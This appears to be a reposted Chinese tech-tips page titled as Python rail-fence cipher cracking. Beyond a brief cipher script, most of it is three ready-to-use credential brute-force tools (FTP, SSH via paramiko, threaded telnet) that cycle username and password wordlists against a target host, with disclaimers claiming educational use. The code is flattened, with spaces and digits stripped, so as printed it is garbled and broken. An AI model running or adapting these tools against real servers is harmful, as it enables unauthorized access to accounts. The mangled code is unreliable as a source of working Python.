位置: IT常识 - 正文

Python脚本多种方法破解栅栏密码(python脚本例子)

编辑:rootadmin

推荐整理分享Python脚本多种方法破解栅栏密码(python脚本例子),希望有所帮助,仅作参考,欢迎阅读内容。

文章相关热门搜索词:python脚本怎么用,python编写脚本方法,python运行多个脚本,python 常用脚本,python运行多个脚本,python运行多个脚本,python编写脚本方法,python运行多个脚本,内容如对您有帮助,希望把文章链接给更多的朋友!

Python是一种计算机程序设计语言。是一种面向对象的动态类型语言,最初被设计用于编写自动化脚本(shell),随着版本的不断更新和语言新功能的添加,越来越多被用于独立的、大型项目的开发。

Python脚本多种方法破解栅栏密码(python脚本例子)

Python脚本简单易用,对于要破解的栅栏密码,最简单的可以使用快速编写的Python脚本进行暴力破解:

通用脚本:

#!/usr/bin/envpython#-*-coding:gbk-*-#-*-coding:utf_-*-e=raw_input(‘请输入要解密的字符串\n‘)elen=len(e)field=[]foriinrange(,elen):if(elen%i==):field.append(i)forfinfield:b=elen/fresult={x:‘‘forxinrange(b)}foriinrange(elen):a=i%b;result.update({a:result[a]+e[i]})d=‘‘foriinrange(b):d=d+result[i]print‘分为\t‘+str(f)+‘\t‘+‘栏时,解密结果为:‘+d

FTP暴力破解脚本

#!/usr/bin/envpython#-*-coding=utf--*-#author:@xfk#blog:@blog.sina.com.cn/kaiyongdeng#date:@--importsys,os,timefromftplibimportFTPdocs="""[*]Thiswaswrittenforeducationalpurposeandpentestonly.Useitatyourownrisk.[*]Authorwillbenotresponsibleforanydamage![*]Toolname:ftp_bf.py[*]Coder:[*]Version:.[*]eampleofuse:pythonftp_bf.py-tftp.server.com-uusernames.txt-ppasswords.txt"""ifsys.platform=='linux'orsys.platform=='linux':clearing='clear'else:clearing='cls'os.system(clearing)R="\[m";G="\[m";Y="\[m"END="\[m"deflogo():printG+"\n|---------------------------------------------------------------|"print"||"print"|blog.sina.com.cn/kaiyongdeng|"print"|//ftp_bf.pyv..|"print"|FTPBruteForcingTool|"print"||"print"|---------------------------------------------------------------|\n"print"\n[-]%s\n"%time.strftime("%X")printdocs+ENDdefhelp():printR+"[*]-t,--targetip/hostname<>Ourtarget"print"[*]-u,--usernamelistusernamelist<>usernamelistpath"print"[*]-p,--passwordlistpasswordlist<>passwordlistpath"print"[*]-h,--helphelp<>printthishelp"print"[*]Example:pythonftp_bf-tftp.server.com-uusername.txt-ppasswords.txt"+ENDsys.exit()defbf_login(hostname,username,password):#sys.stdout.write("\r[!]Checking:%s"%(p))#sys.stdout.flush()try:ftp=FTP(hostname)ftp.login(hostname,username,password)ftp.retrlines('list')ftp.quit()printY+"\n[!]wt,wt!!!Wedidit!"print"[+]Target:",hostname,""print"[+]User:",username,""print"[+]Password:",password,""+ENDreturn#sys.exit()exceptException,e:passexceptKeyboardInterrupt:printR+"\n[-]Exiting...\n"+ENDsys.exit()defanon_login(hostname):try:printG+"\n[!]Checkingforanonymouslogin.\n"+ENDftp=FTP(hostname)ftp.login()ftp.retrlines('LIST')printY+"\n[!]wt,wt!!!Anonymousloginsuccessfuly!\n"+ENDftp.quit()exceptException,e:printR+"\n[-]Anonymousloginfailed...\n"+ENDpassdefmain():logo()try:forarginsys.argv:ifarg.lower()=='-t'orarg.lower()=='--target':hostname=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-u'orarg.lower()=='--usernamelist':usernamelist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-p'orarg.lower()=='--passwordlist':passwordlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-h'orarg.lower()=='--help':help()eliflen(sys.argv)<=:help()except:printR+"[-]Cheakyourparametarsinput\n"+ENDhelp()printG+"[!]BruteForcingtarget..."+ENDanon_login(hostname)#print"hereisok"#printhostnametry:usernames=open(usernamelist,"r")user=usernames.readlines()count=whilecount<len(user):user[count]=user[count].strip()count+=except:printR+"\n[-]Cheakyourusernamelistpath\n"+ENDsys.exit()#print"hereisok",usernamelist,passwordlisttry:passwords=open(passwordlist,"r")pwd=passwords.readlines()count=whilecount<len(pwd):pwd[count]=pwd[count].strip()count+=except:printR+"\n[-]Checkyourpasswordlistpath\n"+ENDsys.exit()printG+"\n[+]Loaded:",len(user),"usernames"print"\n[+]Loaded:",len(pwd),"passwords"print"[+]Target:",hostnameprint"[+]Guessing...\n"+ENDforuinuser:forpinpwd:result=bf_login(hostname,u.replace("\n",""),p.replace("\n",""))ifresult!=:printG+"[+]Attemptuaername:%spassword:%s..."%(u,p)+R+"Disenable"+ENDelse:printG+"[+]Attemptuaername:%spassword:%s..."%(u,p)+Y+"Enable"+ENDifnotresult:printR+"\n[-]Thereisnousernameanspasswordenabledinthelist."print"[-]Exiting...\n"+ENDif__name__=="__main__":main()

SSH暴力破解

#!/usr/bin/envpython#-*-coding=UTF--*-#author@:dengyongkai#blog@:blog.sina.com.cn/kaiyongdengimportsysimportosimporttime#fromthreadingimportThreadtry:fromparamikoimportSSHClientfromparamikoimportAutoAddPolicyexceptImportError:printG+'''Youneedparamikomodule.http://www.lag.net/paramiko/Debian/Ubuntu:sudoapt-getinstallaptitude:sudoaptitudeinstallpython-paramiko\n'''+ENDsys.exit()docs="""[*]Thiswaswrittenforeducationalpurposeandpentestonly.Useitatyourownrisk.[*]Authorwillbenotresponsibleforanydamage![*]Toolname:ssh_bf.py[*]Author:xfk[*]Version:v..[*]Exampleofuse:pythonssh_bf.py[-Ttarget][-Pport][-Uuserslist][-Wwordlist][-Hhelp]"""ifsys.platform=='linux'orsys.platform=='linux':clearing='clear'else:clearing='cls'os.system(clearing)R="\[m";G="\[m";Y="\[m"END="\[m"deflogo():printG+"\n|---------------------------------------------------------------|"print"||"print"|blog.sina.com.cn/kaiyongdeng|"print"|//ssh_bf.pyv..|"print"|SSHBruteForcingTool|"print"||"print"|---------------------------------------------------------------|\n"print"\n[-]%s\n"%time.ctime()printdocs+ENDdefhelp():printY+"[*]-H--hostname/ip<>thetargethostnameoripaddress"print"[*]-P--port<>thesshserviceport(defaultis)"print"[*]-U--usernamelist<>usernameslistfile"print"[*]-P--passwordlist<>passwordslistfile"print"[*]-H--help<>showhelpinformation"print"[*]Usage:python%s[-Ttarget][-Pport][-Uuserslist][-Wwordlist][-Hhelp]"+ENDsys.exit()defBruteForce(hostname,port,username,password):'''CreateSSHconnectiontotarget'''ssh=SSHClient()ssh.set_missing_host_key_policy(AutoAddPolicy())try:ssh.connect(hostname,port,username,password,pkey=None,timeout=None,allow_agent=False,look_for_keys=False)status='ok'ssh.close()exceptException,e:status='error'passreturnstatusdefmakelist(file):'''Makeusernamesandpasswordslists'''items=[]try:fd=open(file,'r')exceptIOError:printR+'unabletoreadfile\'%s\''%file+ENDpassexceptException,e:printR+'unknownerror'+ENDpassforlineinfd.readlines():item=line.replace('\n','').replace('\r','')items.append(item)fd.close()returnitemsdefmain():logo()#print"hellowold"try:forarginsys.argv:ifarg.lower()=='-t'orarg.lower()=='--target':hostname=str(sys.argv[int(sys.argv[:].index(arg))+])ifarg.lower()=='-p'orarg.lower()=='--port':port=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-u'orarg.lower()=='--userlist':userlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-w'orarg.lower()=='--wordlist':wordlist=sys.argv[int(sys.argv[:].index(arg))+]elifarg.lower()=='-h'orarg.lower()=='--help':help()eliflen(sys.argv)<=:help()except:printR+"[-]Cheakyourparametarsinput\n"+ENDhelp()printG+"\n[!]BruteForcingtarget...\n"+END#print"hereisok"#printhostname,port,wordlist,userlistusernamelist=makelist(userlist)passwordlist=makelist(wordlist)printY+"[*]SSHBruteForcePraparing."print"[*]%suser(s)loaded."%str(len(usernamelist))print"[*]%spassword(s)loaded."%str(len(passwordlist))print"[*]BruteForceIsStarting......."+ENDtry:forusernameinusernamelist:forpasswordinpasswordlist:printG+"\n[+]Attemptuaername:%spassword:%s..."%(username,password)+ENDcurrent=BruteForce(hostname,port,username,password)ifcurrent=='error':printR+"[-]O*OTheusername:%sandpassword:%sIsDisenbabled...\n"%(username,password)+END#passelse:printG+"\n[+]^-^HaHa,WeGotIt!!!"print"[+]username:%s"%usernameprint"[+]password:%s\n"%password+END#sys.exit()except:printR+"\n[-]ThereIsSomethingWrong,PleaceCheakIt."print"[-]Exitting.....\n"+ENDraiseprintY+"[+]Done.^-^\n"+ENDsys.exit()if__name__=="__main__":main()#!usr/bin/python#TelnetBruteForcer#http://www.darkcde.com#dhydr[at]gmail[dot]comimportthreading,time,random,sys,telnetlibfromcopyimportcopyiflen(sys.argv)!=:print"Usage:./telnetbrute.py<server><userlist><wordlist>"sys.exit()try:users=open(sys.argv[],"r").readlines()except(IOError):print"Error:Checkyouruserlistpath\n"sys.exit()try:words=open(sys.argv[],"r").readlines()except(IOError):print"Error:Checkyourwordlistpath\n"sys.exit()print"\n\tdhydr[at]gmail[dot]comTelnetBruteForcerv."print"\t--------------------------------------------------\n"print"[+]Server:",sys.argv[]print"[+]UsersLoaded:",len(users)print"[+]WordsLoaded:",len(words),"\n"wordlist=copy(words)defreloader():forwordinwordlist:words.append(word)defgetword():lock=threading.Lock()lock.acquire()iflen(words)!=:value=random.sample(words,)words.remove(value[])else:print"\nReloadingWordlist-ChangingUser\n"reloader()value=random.sample(words,)users.remove(users[])lock.release()iflen(users)==:returnvalue[][:-],users[]else:returnvalue[][:-],users[][:-]classWorker(threading.Thread):defrun(self):value,user=getword()try:print"-"*print"User:",user,"Password:",valuetn=telnetlib.Telnet(sys.argv[])tn.read_until("login:")tn.write(user+"\n")ifpassword:tn.read_until("Password:")tn.write(value+"\n")tn.write("ls\n")tn.write("exit\n")printtn.read_all()print"\t\nLoginsuccessful:",value,usertn.close()work.join()sys.exit()except:passforIinrange(len(words)*len(users)):work=Worker()work.start()time.sleep()</wordlist></userlist></server>
本文链接地址:https://www.jiuchutong.com/zhishi/303165.html 转载请保留说明!

上一篇:CMS技巧:广告延迟加载让网站速度更快(广告系统源码)

下一篇:WordPress网站一键接入微信登录(wordpress all in one)

  • 天猫超市换购商品无法购买(天猫超市换购商品已加入购物车没有了)

    天猫超市换购商品无法购买(天猫超市换购商品已加入购物车没有了)

  • 怎么强制清除小米账号(怎么强制清除小程序内容)

    怎么强制清除小米账号(怎么强制清除小程序内容)

  • 移动15元机顶盒能取消吗(移动15元机顶盒能投屏吗)

    移动15元机顶盒能取消吗(移动15元机顶盒能投屏吗)

  • s20韩版和国行区别(s21韩版和国行)

    s20韩版和国行区别(s21韩版和国行)

  • 淘宝直播间名字前面的皇冠怎么来的(淘宝直播间名字前面的88是什么意思)

    淘宝直播间名字前面的皇冠怎么来的(淘宝直播间名字前面的88是什么意思)

  • 红米note1lte是什么型号(红米note1ltetd)

    红米note1lte是什么型号(红米note1ltetd)

  • 为什么抖音和火山同时存在(为什么抖音和火山不一样)

    为什么抖音和火山同时存在(为什么抖音和火山不一样)

  • 淘宝里的物流地图准吗(淘宝里的物流地址怎么填)

    淘宝里的物流地图准吗(淘宝里的物流地址怎么填)

  • txt文件用什么打开

    txt文件用什么打开

  • 支付宝怎么关闭运动步数(支付宝怎么关闭扣费服务)

    支付宝怎么关闭运动步数(支付宝怎么关闭扣费服务)

  • 华为手机网络连接不可用是怎么回事(华为手机网络连接不可上网)

    华为手机网络连接不可用是怎么回事(华为手机网络连接不可上网)

  • 微信京东怎么取消申请退款(微信京东怎么取消银行卡绑定支付)

    微信京东怎么取消申请退款(微信京东怎么取消银行卡绑定支付)

  • 手机优酷怎么取消自动续费(手机优酷怎么取消自动支付功能)

    手机优酷怎么取消自动续费(手机优酷怎么取消自动支付功能)

  • 大光圈级别1 16怎么用(大光圈级别1~16怎么用)

    大光圈级别1 16怎么用(大光圈级别1~16怎么用)

  • 抖音打开几秒就闪退(抖音打开几秒就会返回,需要关掉哪个功能?)

    抖音打开几秒就闪退(抖音打开几秒就会返回,需要关掉哪个功能?)

  • 三星note10参数(三星note10参数zol)

    三星note10参数(三星note10参数zol)

  • iphone xr有指纹解锁吗(苹果xr有指纹)

    iphone xr有指纹解锁吗(苹果xr有指纹)

  • ipad无发票能保修吗(ipad 没有发票能保修吗)

    ipad无发票能保修吗(ipad 没有发票能保修吗)

  • 咪咕视频如何下载电影(咪咕视频如何下载电视剧到手机)

    咪咕视频如何下载电影(咪咕视频如何下载电视剧到手机)

  • p30pro特色功能(p30pro有啥特殊功能)

    p30pro特色功能(p30pro有啥特殊功能)

  • 天猫精灵可以用手机热点吗(天猫精灵可以用蓝牙连接吗)

    天猫精灵可以用手机热点吗(天猫精灵可以用蓝牙连接吗)

  • 华为p30pro如何无线充电(华为p30pro如何无线连接电脑)

    华为p30pro如何无线充电(华为p30pro如何无线连接电脑)

  • 苹果手机看视频黑屏怎么回事(苹果手机看视频总是卡顿怎么办)

    苹果手机看视频黑屏怎么回事(苹果手机看视频总是卡顿怎么办)

  • 开票软件金税盘
  • 应纳税所得额的会计分录
  • 承兑汇票能直接兑换吗
  • 原材料月末有余额吗
  • 进口增值税可以抵税吗
  • 填仓2021
  • 成本类科目有哪些口诀
  • 牛奶公司饲养奶牛生产牛奶
  • 个人所得税筹划节税
  • 建筑施工企业销售费用包括哪些
  • 小规模纳税人怎么查询
  • 房产税城镇土地使用税申报流程
  • 过节政府有补助钱吗
  • 工会筹备金怎么改成工会经费
  • 房产税计税依据房产原值怎么算
  • 变更税务登记证法人需要哪些资料
  • 旅行社成本票没有收到,怎么挂账
  • 在建工程完工后如何转为固定资产
  • 党员参加集体活动规定
  • 工商年报纳税总额是应缴还是实缴
  • 非公益性赠送该怎么进行会计处理?
  • 不征税发票的12个税种
  • 广告服务类企业有哪些
  • 房地产开发企业所得税管理办法
  • 消防工作经历证明哪些单位可以开
  • 农业大棚卷帘机用什么油
  • 终于找到修改mac的方法了!
  • 车辆的增值税和消费税
  • 外购的形式
  • 收到预付款怎么给客户写协议书
  • 树木种植公司
  • 非居民个人所得税税率表最新
  • php5.4+mysql
  • window10发现威胁怎么办
  • PHP:Memcached::deleteMultiByKey()的用法_Memcached类
  • ghost打开
  • 大家在抢红包怎么回复
  • PHP:mcrypt_module_get_algo_block_size()的用法_Mcrypt函数
  • 分支机构分摊税款的计算
  • 研发费用如何加计扣除何时申报
  • php运算符@符号
  • 销项负数发票需要入账吗
  • springmvc的执行流程
  • 固定资产售后回租融资租赁利息可以抵扣进项税额么
  • 公允价值变动收益是指什么
  • 树结构ADT知识点思维导图
  • 其他业务支出属于利润表项目吗
  • 股东个人转让股权印花税能入账吗
  • 管理费用和研发费用的关系
  • 小微企业的资产负债率一般为多少
  • 解决掉发的有效方法
  • 收到的现金折扣
  • 小规模纳税人适用5%的税率是什么
  • 预收账款挂账多长时间必须确认收入
  • 外币账户记账方法
  • 产品不符合要求
  • 预缴的增值税在增值税附表四怎么填
  • 哪些情况应收账款不能扣
  • 内部招待所管理规定
  • 当月开具的专票可以当月抵扣吗
  • 上月留抵税怎么算应纳税额
  • 补计提上一年度工资
  • 银行承兑汇票的承兑人
  • 存货的总账和明细账区别
  • sql server 数据库介绍
  • winxp 移动硬盘
  • mac怎么删除应用保留数据
  • centos怎么配置dns
  • macpro删除文件
  • windows xp sp3 vl
  • msg是啥
  • nwtray.exe - nwtray是什么进程 作用是什么
  • 关于混合基金投资风险以下表述正确的是
  • node connect
  • cocos2dx3.3在Win7(64位)上Android开发环境搭建(提要)
  • Eclipse运行快捷键
  • 开量贩ktv一年能赚多少
  • 如何办理委托银行卡业务
  • 税服领花规范照片
  • 烟叶收购价款
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设